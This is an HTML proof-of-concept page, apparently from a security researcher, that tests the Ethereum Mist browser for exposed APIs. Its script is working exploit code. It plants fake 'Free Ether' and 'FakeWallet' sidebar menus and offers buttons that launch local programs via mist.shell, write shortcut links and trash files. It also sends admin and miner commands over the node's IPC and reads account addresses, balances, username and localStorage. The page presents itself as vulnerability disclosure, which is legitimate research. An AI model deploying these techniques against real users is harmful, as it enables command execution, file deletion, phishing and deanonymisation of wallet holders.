<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="MistPwn dApp mist browser 'insecurities'">
    <meta name="author" content="github.com/tintinweb">
    <!--<link rel="icon" href="favicon.ico">-->

    <title>MistPwn Ðapp</title>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
    <script>
      /**
       * Compare two software version numbers (e.g. 1.7.1)
       * Returns:
       *
       *  0 if they're identical
       *  negative if v1 < v2
       *  positive if v1 > v2
       *  Nan if they in the wrong format
       *
       *  E.g.:
       *
       *  assert(version_number_compare("1.7.1", "1.6.10") > 0);
       *  assert(version_number_compare("1.7.1", "1.7.10") < 0);
       *
       *  "Unit tests": http://jsfiddle.net/ripper234/Xv9WL/28/
       *
       *  Taken from http://stackoverflow.com/a/6832721/11236
       */
      function compareVersionNumbers(v1, v2){
          var v1parts = v1.split('.');
          var v2parts = v2.split('.');

          // First, validate both numbers are true version numbers
          function validateParts(parts) {
              for (var i = 0; i < parts.length; ++i) {
                  if (!isPositiveInteger(parts[i])) {
                      return false;
                  }
              }
              return true;
          }
          if (!validateParts(v1parts) || !validateParts(v2parts)) {
              return NaN;
          }

          for (var i = 0; i < v1parts.length; ++i) {
              if (v2parts.length === i) {
                  return 1;
              }

              if (v1parts[i] === v2parts[i]) {
                  continue;
              }
              if (v1parts[i] > v2parts[i]) {
                  return 1;
              }
              return -1;
          }

          if (v1parts.length != v2parts.length) {
              return -1;
          }

          return 0;
      }
      function isPositiveInteger(x) {
          // http://stackoverflow.com/a/1019526/11236
          return /^\d+$/.test(x);
      }

      function catchException(f){
        try{
          return f();
        } catch (e) {return false}
      }

      function MistPwn(container_id) {
        console.debug("<MistPwn>");
        this.container = document.getElementById(container_id);
        this.result_table = document.getElementById("table-results");
        this.mist = (typeof mist == "undefined") ? false : mist;
        this.web3 = (typeof web3 == "undefined") ? false : web3;
        if (!this.mist)
            this.alertWarn("mist", "Please launch the Ethereum Mist Browser and navigate to <a href='"+window.location.href +"'><b>"+window.location.href+"</b></a>");
        if (!this.web3)
            this.alertWarn("web3", "Please launch a web3 enabled application and navigate to <a href='"+window.location.href +"'><b>"+window.location.href+"</b></a>");
        if (!this.mist && !this.web3){
          this.alertWarn("incompatible user-agent", "This user-agent is not supported (not mist nor web3 enabled API)");
        }
        that = this;
        console.debug("</MistPwn>");
      };
      MistPwn.prototype.alert = function(severity, title, message){
        div = document.createElement("div");
        div.className = "alert alert-" + severity;
        div.innerHTML = "<strong>"+title+"&nbsp;&nbsp;&nbsp;&nbsp;</strong>" + message;
        console.info(this.container);
        this.container.appendChild(div);
      };
      MistPwn.prototype.alertOk = function(title, message){
        this.alert("success", '<span class="glyphicon glyphicon-ok" aria-hidden="true" style="margin-right: 10px"></span>'+title, message);
      };
      MistPwn.prototype.alertFail = function(title, message){
        this.alert("danger", '<span class="glyphicon glyphicon-remove" aria-hidden="true" style="margin-right: 10px"></span>'+title, message);
      };
      MistPwn.prototype.alertWarn = function(title, message){
        this.alert("warning", '<span aria-hidden="true" style="margin-right: 10px">&#x26a0;</span>'+title, message);
      };
      MistPwn.prototype.addResult = function(status, vector, description, value){
        if (typeof value=="function"){
          try{
              value = value();
          } catch (e) { value = "Exception: " + e}
        }
        var tr = document.createElement("tr");
        var severity = {"notice":"default", 
                        "info":"primary", 
                        "pass":"success", 
                        "info":"info",
                        "info-disclosure":"info",
                        "warning":"warning",
                        "fail":"danger",
                        "danger":"danger"};
        if (Object.keys(severity).indexOf(status)>=0){
            status = '<span class="label label-'+severity[status]+'">'+status+'</span>';
        }
        else if(status=="a"){
            status = '<span class="label label-default">'+status+'</span>';
        }
        
        tr.innerHTML = "<td>"+(this.result_table.children.length+1)+"</td><td>"+status+"</td><td>"+vector+"</td><td>"+description+"</td><td>"+value+"</td>";
        this.result_table.appendChild(tr);
      };
      MistPwn.prototype.assertTrue = function(s, severity, vector, description, cb_value) {
        var ret = typeof s!="undefined" && !!s;
        if (ret)
          this.addResult("pass", vector, description, "...");
        else
          this.addResult(severity, vector, description, typeof cb_value=="function" ? cb_value() : '');
        return !!s;
      };
      MistPwn.prototype.assertFalse = function(s, severity, vector, description, cb_value) {
        var ret = typeof s=="undefined" || !s;
        if (ret)
          this.addResult("pass", vector, description, "...");
        else
          this.addResult(severity, vector, description, typeof cb_value=="function" ? cb_value() : '');
        return !s;
      };
      MistPwn.prototype.trashLink = function(path){return mist.shell.moveItemToTrash(path)};
      MistPwn.prototype.readLink = function(path){return mist.shell.readShortcutLink(path)};
      MistPwn.prototype.writeLink = function(path, ttarget){return mist.shell.writeShortcutLink(path, "create", {target:ttarget})};
      MistPwn.prototype.check = function(){
        console.info("<check>");

        if (! this.mist && !this.web3) return;    //unsupported user-agent

        try{

          /************************************************
           *  navigator
           *************************************************/
          this.addResult("info", "navigator", "navigator.user-agent", navigator.userAgent);
          this.addResult("info", "navigator", "navigator.appVersion", navigator.appVersion);
          this.addResult("info", "navigator", "navigator.language", navigator.language);
          this.addResult("info", "navigator", "navigator.platform", navigator.platform);
          this.addResult("info", "navigator", "navigator.vendort", navigator.vendor);
          /************************************************
           *  mist
           *************************************************/
          if (this.assertTrue(this.mist, "fail", "mist", "Checks if User-Agent exposes mist API")){
            this.addResult("info", "mist.mode", "Mist mode", this.mist.mode);
            this.addResult("info", "mist.version", "Mist leaks its version (targeted attacks)", this.mist.version);
            if (compareVersionNumbers(mist.version,"0.8.7") >=0)
              this.alertOk("mist.version", "Mist version v"+mist.version+">= v0.8.7");

            this.addResult("info", "mist.dirname", "Mist leaks your application directory to the remote web application", this.mist.dirname);
            this.alertWarn("info-leak", "Mist leaks your local application directory: " + this.mist.dirname);
            this.addResult("info", "mist.platform", "Mist leaks your operating system / platform", this.mist.platform);
            if (this.mist.dirname){
              var username = this.mist.dirname.match(/Users\\([^\\]+)/);
              if (!username)
                username = this.mist.dirname.match(/home\/([^\/]+)/);
              if (username){
                username = username.pop()
                this.addResult("warning", "platform.username", "Mist leaks your windows username", username);
                this.alertWarn("info-leak", "You are leaking your local username to this website: "+ username);
              }
            }
           
            //add sample menue to sidebar:
            mnu_ret = mist.menu.add('tinFreeEther', {
                name: 'Free Ether',
                badge: 50,
                position: 1,
                selected: true
            }, function(){
                // Redirect
                window.location = "https://github.com/tintinweb";
                // Using history pushstate
                history.pushState(null, null, '/tinfreeether');
                // In Meteor iron:router
                Router.go('/send');
            });
            mist.menu.add('tinFakeWallet', {
                name: 'FakeWallet',
                badge: 'click me..',
                position: 1,
                selected: true
            }, function(){
                // Redirect
                window.location = "https://tintinweb.github.io/ether-wallet";
                // Using history pushstate
                history.pushState(null, null, '/tinfakewallet');
                // In Meteor iron:router
                Router.go('/send');
            });
            mist.menu.add('tinMistPwn', {
                name: 'MistPwn',
                badge: 50,
                position: 1,
                selected: true
            }, function(){
                // Redirect
                window.location = "https://tintinweb.github.io/pub/pocs/nocve-2016-ethereum_mist_browser/";
                // Using history pushstate
                history.pushState(null, null, '/tinmistpwn');
                // In Meteor iron:router
                Router.go('/send');
            });
            var descr = "Mist allows remote web application to add side-bar menus.";
            if (web3.eth.accounts.length==0)
              descr += "Note that you'll have to connect your account in order for this dapp to be pinned to the sidebar menu: <button class='btn btn-warning btn-xs' onclick=mist.requestAccount()>connect..</button>";
            this.assertFalse(this.mist.menu.entries.hasOwnProperty("entry_tinFreeEther"), 
              "info", 
              "mist.menu.add", 
              descr, 
              function() { return this.mist.menu.entries.entry_tinFreeEther});
            this.mist.menu.setBadge("mistPwn");

            if (this.mist.platform.startsWith("win32"))
              var cmd = "calc.exe";
            else if(this.mist.platform=="darwin")
              var cmd = "/usr/bin/top";
            else
              var cmd = "/etc/passwd";

            if (!this.assertFalse(this.mist.hasOwnProperty("shell") && typeof this.mist.shell != "undefined", "danger", "mist.shell", "Checks if mist exposes .shell")){

              this.alertFail("code exec", "Mist exposes electron.shell - This website might execute arbitrary local commands (windows/macosx) or delete local files <b>without your consent</b> (see details/testcase below).");

              //shell available
              if (this.mist.platform.startsWith("win")){
                  //windows only
                  this.addResult("danger", "mist.shell.exec", "Mist allows remote websites to execute arbitrary commands on your client","<button class='btn btn-warning btn-xs' onclick=document.getElementById('openExternal').innerHTML=mist.shell.openExternal('"+cmd+"')>launch '"+cmd+"'</button><pre id=openExternal style='display:inline; border:0'>...</pre>");
              } 

              if (this.mist.platform=="darwin")
                  this.addResult("danger", "mist.shell.open", "Mist allows remote websites to execute arbitrary commands","<button class='btn btn-warning btn-xs' onclick=document.getElementById('openItem').innerHTML=mist.shell.openItem('"+cmd+"')>open '"+cmd+"'</button><pre id=openItem style='display:inline; border:0'>...</pre>");
                                    
              else{
                  cmd = ".";
                  this.addResult("danger", "mist.shell.open", "Mist allows remote websites to open arbitrary items on your client","<button class='btn btn-warning btn-xs' onclick=document.getElementById('openItem').innerHTML=mist.shell.openItem('"+cmd+"')>open '"+cmd+"'</button><pre id=openItem style='display:inline; border:0'>...</pre>");
                }
              cmd = ".";
              this.addResult("danger", "mist.shell.showItem", "Mist allows remote websites to open arbitrary items on your client","<button class='btn btn-warning btn-xs' onclick=document.getElementById('showItem').innerHTML=mist.shell.showItemInFolder('"+cmd+"')>showItem '"+cmd+"'</button><pre id=showItem style='display:inline; border:0'>...</pre>");

              var path_delimiter = mist.dirname.indexOf("\\") >=0 ? "\\" : "/";
              // get basedir
              var test_file_in_app_path = mist.dirname.split(path_delimiter).slice(0, -1);
              test_file_in_app_path.push("__mistpwn_testfile");
              test_file_in_app_path = test_file_in_app_path.join(path_delimiter);

              var readwrite = true;

              if (mist.platform.startsWith("win")){
                readwrite &= this.assertFalse(typeof this.mist.shell.writeShortcutLink=="function", "danger", "mist.shell.writelink", 
                  "Mist allows the remote website to create arbitrary links on your machine",
                  function(){return "<button class='btn btn-warning btn-xs' onclick=document.getElementById('writeLink').innerHTML=mistpwn.writeLink('"+test_file_in_app_path.replace(/\\/g,"\\\\")+"','"+test_file_in_app_path.replace(/\\/g,"\\\\")+"')>1. create linkfile:</button><pre id=writeLink style='display:inline; border:0'>"+test_file_in_app_path+"</pre>"});
                readwrite &= this.assertFalse(typeof this.mist.shell.readShortcutLink=="function", "danger", "mist.shell.readlink", 
                  "Mist allows the remote website to read arbitrary links on your machine",
                  function(){return "<button class='btn btn-warning btn-xs' onclick=document.getElementById('readLink').innerHTML=mistpwn.readLink('"+test_file_in_app_path.replace(/\\/g,"\\\\")+"')>2. read linkfile: </button><pre id=readLink style='display:inline; border:0'>"+test_file_in_app_path+"</pre>"});
              }
              readwrite &= this.assertFalse(typeof this.mist.shell.moveItemToTrash=="function", "danger", "mist.shell.trash", 
                "Mist allows the remote website to delete arbitrary files on your machine",
                function(){return "<button class='btn btn-warning btn-xs' onclick=document.getElementById('trashLink').innerHTML=mistpwn.trashLink('"+test_file_in_app_path.replace(/\\/g,"\\\\")+"')>3. delete file: </button><pre id=trashLink style='display:inline; border:0'>"+test_file_in_app_path+"</pre>"});
              if (!readwrite)
                this.alertFail("read write delete", "This website might be able to read/write shortcut links or move files to trash");
            }
          }
          /************************************************
           *  web3
           *************************************************/
          if (this.assertTrue(this.web3, "fail", "web3", "Checks if User-Agent exposes web3 API")){

            this.addResult("info", "web3.version.api", "web3 api version", function() {return web3.version.api});
            this.addResult("info", "web3.version.node", "web3 node version", function() {return web3.version.node});
            this.addResult("info", "web3.version.ethereum", "web3 ethereum version", function() {return web3.version.ethereum} );
            this.addResult("info", "web3.version.network", "web3 network version", function() {return web3.version.network});

            this.addResult("info", "web3.isConnected", "web3 ethereum connected", web3.isConnected());
            

            var is_anonymous = web3.eth.accounts.length==0;
            if (this.assertFalse(web3.eth.accounts.length, "warning", "mist.anonymous", "mist is in anonymous mode (upper right corner/connect)", web3.eth.accounts)){
              
              try {
                this.assertFalse(web3.eth.coinbase, "danger", "web3.coinbase", "mist reveals coinbase even in anonymous mode!", function(){return web3.eth.coinbase});
                this.alertWarn("info-leak", "This website might be able to get your etherbase even though you are in anonymous mode: "+web3.eth.coinbase + " (balance: " + web3.eth.getBalance(web3.eth.coinbase) + ")");
              }catch(e){};
                
            } 
            else {
              this.addResult("warning", "web3.accounts", "web3 reveals reveals connected accounts", function() {return web3.eth.accounts} );
              this.addResult("warning", "web3.coinbase", "web3 reveals coinbase in connected mode", function() {return web3.eth.coinbase} );
            }
           
           try{
              this.assertFalse(web3.eth.getBalance(web3.eth.coinbase), "danger", "web3.getBalance", "web3 leaks your balance", function(){return web3.eth.getBalance(web3.eth.coinbase)});
            } catch(e){}

           this.assertFalse(catchException(function (){return web3.net.peerCount}), "info", "web3.peerCount", "web3 leaks peerCount", function(){return web3.net.peerCount});

           this.addResult("info", "web3.net.listening", catchException(function (){return web3.net.listening}) ? "you are currently listening": "you are currently NOT listening OR that information is not available", "");

           this.addResult("info", "web3.eth.mining", catchException(function (){return web3.eth.mining}) ? "you <b>are</b> currently mining": "you are currently <b>NOT</b> mining OR that information is not available", "");
           this.addResult("info", "web3.eth.syncing", catchException(function (){return web3.eth.syncing}) ? "you <b>are</b> currently syncing": "you are currently <b>NOT</b> syncing OR that information is not available", "");
           this.addResult("info", "web3.eth.blockNumber", "web3 leaks current blockNumber (sync status)", function() {return web3.eth.blockNumber});
           this.addResult("info", "web3.eth.gasPrice", "gasPrice", function() {return web3.eth.gasPrice});

           //this.assertFalse(web3.eth.hasOwnProperty("sendIBANTransaction") && typeof web3.eth.sendIBANTransaction=="function", "danger", "web3.sendIBANTransaction", "Mist allows remote web application to send IBAN transactions");
           //this.assertFalse(web3.eth.hasOwnProperty("sendTransaction") && typeof web3.eth.sendTransaction=="function", "danger", "web3.sendTransaction", "Mist allows remote web application to send transactions");
   

           if (!this.assertFalse(web3.hasOwnProperty("currentProvider") && typeof web3.currentProvider=="object" && web3.currentProvider.constructor.name=="IpcProvider", 
                                  "warning", 
                                  "web3.ipc", 
                                  "Mist exposes the ethereum node IPC provider.")){
              //this.alertFail("steal-funds", "This website might be able to steal funds by talking directly to the ethereum node bypassing mist safety checks");

              var accounts = web3.currentProvider.send({method:"eth_accounts", args:[]});
              this.assertTrue(accounts.hasOwnProperty("error") || accounts.result.length==0, "info", "web3.ipc.eth_accounts", "mist ipc interface leaks accounts", 
                function(){return accounts.result});
              
           }

           this.assertFalse(web3.eth.hasOwnProperty("admin") && typeof web3.eth.admin=="object", "danger", "web3.admin", "Mist exposes admin interface to remote website");

           //check for Direct Object Reference
           try{

              //JSON.parse(JSON.parse(web3.currentProvider.connection.writeSync(JSON.stringify({method:"admin_nodeInfo",params:[], jsonrpc:"2.0",id:999}))).result)
              this.alertWarn("direct-object-reference", "This website might be able to bypass mist/web3 interfaces by directly referencing the IPC backend object");

              this.addResult("warning", "web3.ipc.writeSync", "InfoLeak: Direct Object Reference: datadir", function(){return web3.currentProvider.connection.writeSync(JSON.stringify({method:"admin_datadir",params:[], jsonrpc:"2.0",id:999}))});
              this.addResult("warning", "web3.ipc.writeSync", "InfoLeak: Direct Object Reference: peers", function(){return web3.currentProvider.connection.writeSync(JSON.stringify({method:"admin_peers",params:[], jsonrpc:"2.0",id:999}))});
              this.addResult("warning", "web3.ipc.writeSync", "InfoLeak: Direct Object Reference: nodeInfo", function(){return web3.currentProvider.connection.writeSync(JSON.stringify({method:"admin_nodeInfo",params:[], jsonrpc:"2.0",id:999}))});
              this.addResult("warning", "web3.ipc.writeSync", "InfoLeak: Direct Object Reference: memStats", function(){return web3.currentProvider.connection.writeSync(JSON.stringify({method:"debug_memStats",params:[], jsonrpc:"2.0",id:999}))});
              this.addResult("warning", "web3.ipc.writeSync", "InfoLeak: Direct Object Reference: listAccounts", function(){return web3.currentProvider.connection.writeSync(JSON.stringify({method:"personal_listAccounts",params:[], jsonrpc:"2.0",id:999}))});
              this.addResult("warning", "web3.ipc.writeSync", "InfoLeak: Direct Object Reference: txpool_status", function(){return web3.currentProvider.connection.writeSync(JSON.stringify({method:"txpool_status",params:[], jsonrpc:"2.0",id:999}))});

          
              var mining = web3.eth.mining;
              if (!mining)
                this.addResult("warning", "web3.ipc.writeSync", "Operational: Direct Object Reference: mining_start", function(){return web3.currentProvider.connection.writeSync(JSON.stringify({method:"miner_start",params:[], jsonrpc:"2.0",id:999}))});
              this.addResult("warning", "web3.ipc.writeSync", "Operational: Direct Object Reference: mining_stop", function(){return web3.currentProvider.connection.writeSync(JSON.stringify({method:"miner_stop",params:[], jsonrpc:"2.0",id:999}))});
              if (mining)
                this.addResult("warning", "web3.ipc.writeSync", "Operational: Direct Object Reference: mining_start again", function(){return web3.currentProvider.connection.writeSync(JSON.stringify({method:"miner_start",params:[], jsonrpc:"2.0",id:999}))});

              


              
           } catch(e){
              this.addResult("info", "web3.ipc.writeSync", "Direct Object Reference of backend IPC provider", false);
           }


           if (web3.currentProvider.constructor.name.startsWith("Metamask")){
              this.addResult("info", "web3.provider.metamask", "You are using metamask?", true);
              this.assertFalse(web3.eth.coinbase, "danger", "web3.coinbase", "metamask reveals coinbase!", function(){return web3.eth.coinbase});
              this.alertWarn("info-leak", "This website might be able to get your coinbase (metamask): "+web3.eth.coinbase + " (balance: " + catchException(function () {return web3.eth.getBalance(web3.eth.coinbase)}) + ")");
              this.addResult("warning", "web3.provider.metamask.config", "Configstore reveals currently selected address", function(){return web3.currentProvider.publicConfigStore._state.selectedAddress});
              this.addResult("warning", "web3.provider.metamask.config", "Configstore reveals currently selected network", function(){return web3.currentProvider.publicConfigStore._state.provider.type});

              this.assertFalse(localStorage.hasOwnProperty("MetaMask-Config"), "warning", "localstorage", "metamask infoleak localstorage", function(){return JSON.stringify(localStorage["MetaMask-Config"])});

           }

           this.addResult("info", "localstorage", "This is your local storage:", function(){return JSON.stringify(localStorage)});

           
          }
        //catchall detect issues
        }catch(e){alert(e)}
        console.info("</check>")
      };
    </script>
  </head>

  <body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-inverse navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
            <span class="sr-only">Toggle navigation</span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
          </button>
          <a class="navbar-brand" href="#">MistPwn Ðapp</a>
        </div>
        <div id="navbar" class="navbar-collapse collapse">
          <ul class="nav navbar-nav">
            <li class="active"><a href="#">Home</a></li>
            <li><a href="#contact">Contact</a></li>
          </ul>
        </div><!--/.nav-collapse -->
      </div>
    </nav>

    <div class="container theme-showcase" role="main">

      <!-- Main jumbotron for a primary marketing message or call to action -->
      <div class="jumbotron">
        <h1>MistPwn</h1>
        <p>An experimental Ðapp to demonstrate some insecurities in the Ethereum Mist Browser...</p>
      </div>
      <div class="well">
        <p><b>... or why you should not navigate your Mist Browser (<=0.8.6) to untrusted websites...</b> <a href="https://github.com/tintinweb/pub/tree/master/pocs/nocve-2016-ethereum_mist_browser">(Details)</a></p>
        Long story short, mist currently allows any website to ...
        <ul>
          <li>execute arbitrary commands on your machine (permissions of mist browser) <b>[windows, macos]</b></li>
          <li>delete arbitrary files <b>[windows, macos, linux]</b></li>
          <li>read/write/overwrite shortcut links to arbitrary locations <b>[windows]</b></li>
          <li>get your main ethereum account and balance even though you are in anonymous (unconnected) mode revealing your identity without your consent <b>[windows, macos, linux]</b></li>
          <li>enumerate the local mist application path, platform and pot. leaking your local username revealing your identity in anonymous mode</li>
        </ul>
        Besides that, mist ...
        <ul>
          <li>does not warn you when connecting to insecure Ðapp/sites leaving you vulnerable to MitM attacks (http allowed)</li>
          <li>does not protect known critical sites like wallet.ethereum.org with HSTS</li>
          <li>does not warn you if you pin multiple Ðapp sharing the same name dapp name</li>
          <li>relies on a web-hosted default wallet that kind of is a single-point target of exploitation to own ethereum mist users</li>
        </ul>
        and the wallet.ethereum.com dapp ...
        <ul>
          <li>does not protect from framing attacks (clickjacking)</li>
        </ul>
        <br/>
        Have your ethereum client tested, read the disclaimer and <b>click the blue button</b> below to start the test.<br>
        <b>Note:</b>The test is not performing any harmful operations. Pot. harmful operations like executing commands may require user interaction, see details.
      </div>
      <div class="well">
        <p>
        <b>Disclaimer</b>
        <pre>/* This program is free software. It comes without any warranty, to
 * the extent permitted by applicable law. You can redistribute it
 * and/or modify it under the terms of the GNU General Public License,
 * Version 2, as published by the Free Software Foundation. See
 * github.com/tintinweb/pub/tree/master/pocs/nocve-2016-ethereum_mist_browser 
 * for more details. */ </pre></p>
      </div>
      <p>
        <button type="button" class="btn btn-primary" onclick="mistpwn.check()">I agree!</button>
      </p>
      <!-- Scan results -->
      <div id="container-results">
      </div>
      <!-- Scan results -->
      <div class="page-header">
        <h1>Results</h1>
      </div>
      <div id="container-table-results">
        <table class="table table-striped">
            <thead>
              <tr>
                <th>#</th>
                <th>Status</th>
                <th>Vector</th>
                <th>Description</th>
                <th>Value</th>
              </tr>
            </thead>
            <tbody id="table-results">
            </tbody>
          </table>
      </div>

      <div class="page-header">
        <h1 id="contact">Contact</h1>
      </div>
      <div>
      <a href="https://github.com/tintinweb">//tintinweb</a>
      </div>
      <br/><br><br>
    </div> <!-- /container -->

  <!-- init MistPwn -->
  <script>
      console.debug("init");
      var mistpwn = new MistPwn('container-results');
  </script>
  </body>
</html>
